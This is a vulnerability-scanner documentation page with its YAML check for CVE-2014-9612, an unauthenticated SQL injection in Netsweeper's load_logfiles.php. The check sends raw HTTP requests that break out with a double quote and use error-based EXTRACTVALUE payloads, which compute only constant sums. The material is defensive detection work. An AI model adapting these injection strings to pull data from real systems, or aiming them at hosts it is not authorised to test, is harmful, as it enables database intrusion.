Netsweeper — 1 vulnerability check
noctis ships 1 vulnerability check for Netsweeper, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Netsweeper remotereporter load_logfiles.php server parameter SQL injection
| CVE | CVE-2014-9612 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | set_var, script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/netsweeper/CVE-2014-9612.yaml |
Sends unauthenticated GET requests to /remotereporter/load_logfiles.php. A control request with a plain `server` value must return no SQL error. A request whose `server` value starts with a double quote and a random marker must return a MySQL "You have an error in your SQL syntax" message that quotes the marker (response analysis). When it does, an error-based EXTRACTVALUE payload asks the database to add two random numbers; the finding is confirmed when the "XPATH syntax error" message contains the computed sum. The payloads only evaluate constant expressions and read or change no data.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /remotereporter/load_logfiles.php?server={{p.marker}}&url=test HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /remotereporter/load_logfiles.php?server=%22{{p.marker}}&url=test HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /remotereporter/load_logfiles.php?server=%22%20OR%20extractvalue(1%2Cconcat(0x7e%2C(S… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /remotereporter/load_logfiles.php?server=extractvalue(1%2Cconcat(0x7e%2C(SELECT%20{{p… - Parses / computes the next value with a Rhai script
- Checks
xq.bannerforXPATH syntax error: (?:'|�?39;|'|')?~[0-9]{7}→ finding QoD 97: GET /remotereporter/load_logfiles.php?server=" OR extractvalue(1,concat(0x7e,(SELECT …+…))) OR " made MySQL return the computed sum: XPATH … - Checks
xn.bannerforXPATH syntax error: (?:'|�?39;|'|')?~[0-9]{7}→ finding QoD 97: GET /remotereporter/load_logfiles.php?server=extractvalue(1,concat(0x7e,(SELECT …+…))) made MySQL return the computed sum: XPATH syntax err… - Checks
probe.bannerforYou have an error in your SQL syntax→ finding QoD 75: GET /remotereporter/load_logfiles.php?server="… returned a MySQL syntax error quoting the injected marker …, while the same request without…
References:
Feed source — tests/vulnerabilities/netsweeper/CVE-2014-9612.yaml
# Netsweeper < 3.1.10 / 4.0.9 / 4.1.2 — remotereporter/load_logfiles.php `server` SQL injection
#
# Ported from OpenVAS/Greenbone NVT 2015/gb_netsweeper_mult_vuln_aug15.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805962, GPL-2.0-only). The NASL sends
# GET /remotereporter/load_logfiles.php?server="SQL-INJECTION-TEST&url=test
# and reports when the reply echoes the marker inside a MySQL
# "You have an error in your SQL syntax" message. That request proves the
# `server` parameter SQL injection, CVE-2014-9612; the other CVEs the NASL
# lists (CVE-2014-9605 webupgrade, CVE-2014-9610 quarantine_disable,
# CVE-2014-9619 ajaxfilemanager upload) are not exercised, so they are not in `cves:`.
#
# Deviations (stronger than the NASL):
# - a random marker instead of the fixed "SQL-INJECTION-TEST" string, and a
# control request (same parameter, no quote) that must NOT produce a SQL
# error: a page that prints MySQL errors for any input is not counted;
# - when the syntax error is confirmed, an error-based EXTRACTVALUE payload
# makes MySQL (>= 5.1) compute a+b from random operands and quote the sum
# in its "XPATH syntax error" — proof that injected SQL ran (QoD 97).
# Two shapes: double-quote-balanced (`" OR … OR "`) for a quoted value and
# a bare `extractvalue(…)` for an unquoted one. Both are read-only constant
# expressions: no table is read or written.
# - the NASL requires HTTP 200; any status is accepted here, the MySQL
# message quoting our own marker is what identifies the injection.
# Encoded payloads (%22, %2C, %2B) → raw tcp_connect so they reach the server verbatim.
uid: dd6568dc-4717-462f-ac95-7fb01bba56a4
name: "Netsweeper remotereporter load_logfiles.php server parameter SQL injection (CVE-2014-9612)"
description: |
Sends unauthenticated GET requests to /remotereporter/load_logfiles.php.
A control request with a plain `server` value must return no SQL error.
A request whose `server` value starts with a double quote and a random
marker must return a MySQL "You have an error in your SQL syntax" message
that quotes the marker (response analysis). When it does, an error-based
EXTRACTVALUE payload asks the database to add two random numbers; the
finding is confirmed when the "XPATH syntax error" message contains the
computed sum. The payloads only evaluate constant expressions and read
or change no data.
cves: [CVE-2014-9612]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.20
tags: [netsweeper, sqli, web-filter, mysql, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-9612"
- "https://www.exploit-db.com/exploits/37927"
- "OpenVAS/Greenbone NVT 2015/gb_netsweeper_mult_vuln_aug15.nasl (GPL-2.0-only)"
steps:
- id: init-ctl
action: set_var
var_name: ctl
var_value: {connected: false, banner: ""}
- id: init-probe
action: set_var
var_name: probe
var_value: {connected: false, banner: ""}
- id: init-xq
action: set_var
var_name: xq
var_value: {connected: false, banner: ""}
- id: init-xn
action: set_var
var_name: xn
var_value: {connected: false, banner: ""}
# Random marker and operands; the sum is never sent.
- id: build
action: script
store_as: p
code: |
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
#{ a: "" + a, b: "" + b, sum: "" + (a + b), marker: "NOCTIS" + rand_str(10) }
# Control: same parameter without a quote. A vulnerable server runs a valid query.
- id: control
action: tcp_connect
port: "{{port}}"
send: "GET /remotereporter/load_logfiles.php?server={{p.marker}}&url=test HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: ctl
- id: control-clean
action: script
store_as: ctl_ok
code: |
type_of(ctl.banner) == "string" && strlen(ctl.banner) > 0 && stridx(ctl.banner, "You have an error in your SQL syntax") < 0
# NASL probe: "<marker> breaks out of the quoted value.
- id: probe
action: tcp_connect
port: "{{port}}"
condition: "ctl_ok == true"
send: "GET /remotereporter/load_logfiles.php?server=%22{{p.marker}}&url=test HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: probe
- id: probe-check
action: script
store_as: sqlerr
code: |
ctl_ok == true && type_of(probe.banner) == "string"
&& stridx(probe.banner, "You have an error in your SQL syntax") >= 0
&& stridx(probe.banner, p.marker) >= 0
# Error-based proof, quoted context: server="" OR extractvalue(1,concat(0x7e,(SELECT a+b))) OR ""
- id: xpath-quoted
action: tcp_connect
port: "{{port}}"
condition: "sqlerr == true"
send: "GET /remotereporter/load_logfiles.php?server=%22%20OR%20extractvalue(1%2Cconcat(0x7e%2C(SELECT%20{{p.a}}%2B{{p.b}})))%20OR%20%22&url=test HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: xq
- id: xq-check
action: script
store_as: xq_hit
code: |
sqlerr == true && type_of(xq.banner) == "string"
&& stridx(xq.banner, "XPATH syntax error") >= 0 && stridx(xq.banner, "~" + p.sum) >= 0
# Unquoted context: server=extractvalue(...) — no OR, so no row can match before the
# constant is folded (safe even if the value ended up in an UPDATE/DELETE WHERE).
- id: xpath-bare
action: tcp_connect
port: "{{port}}"
condition: "sqlerr == true && xq_hit == false"
send: "GET /remotereporter/load_logfiles.php?server=extractvalue(1%2Cconcat(0x7e%2C(SELECT%20{{p.a}}%2B{{p.b}})))&url=test HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: xn
- id: xn-check
action: script
store_as: xn_hit
code: |
sqlerr == true && xq_hit == false && type_of(xn.banner) == "string"
&& stridx(xn.banner, "XPATH syntax error") >= 0 && stridx(xn.banner, "~" + p.sum) >= 0
- id: confirm-quoted
action: match
source: xq.banner
# The script already checked the exact sum; quotes may be HTML-escaped (' / ' / ').
pattern: "XPATH syntax error: (?:'|�?39;|'|')?~[0-9]{7}"
condition: "xq_hit == true"
on_match:
finding:
confidence_delta: 0.77
qod: 97
evidence: "GET /remotereporter/load_logfiles.php?server=\" OR extractvalue(1,concat(0x7e,(SELECT {{p.a}}+{{p.b}}))) OR \" made MySQL return the computed sum: XPATH syntax error: '~{{p.sum}}' (unauthenticated SQL injection, {{target_host}}:{{port}})"
stop: true
- id: confirm-bare
action: match
source: xn.banner
# The script already checked the exact sum; quotes may be HTML-escaped (' / ' / ').
pattern: "XPATH syntax error: (?:'|�?39;|'|')?~[0-9]{7}"
condition: "xn_hit == true"
on_match:
finding:
confidence_delta: 0.77
qod: 97
evidence: "GET /remotereporter/load_logfiles.php?server=extractvalue(1,concat(0x7e,(SELECT {{p.a}}+{{p.b}}))) made MySQL return the computed sum: XPATH syntax error: '~{{p.sum}}' (unauthenticated SQL injection, {{target_host}}:{{port}})"
stop: true
# Fallback (e.g. MySQL 5.0, no EXTRACTVALUE): syntax error quoting our marker, control clean.
- id: syntax-error
action: match
source: probe.banner
pattern: "You have an error in your SQL syntax"
condition: "sqlerr == true && xq_hit == false && xn_hit == false"
on_match:
finding:
confidence_delta: 0.60
qod: 75
evidence: "GET /remotereporter/load_logfiles.php?server=\"{{p.marker}} returned a MySQL syntax error quoting the injected marker {{p.marker}}, while the same request without the quote returned none (unauthenticated SQL injection, {{target_host}}:{{port}})"
stop: true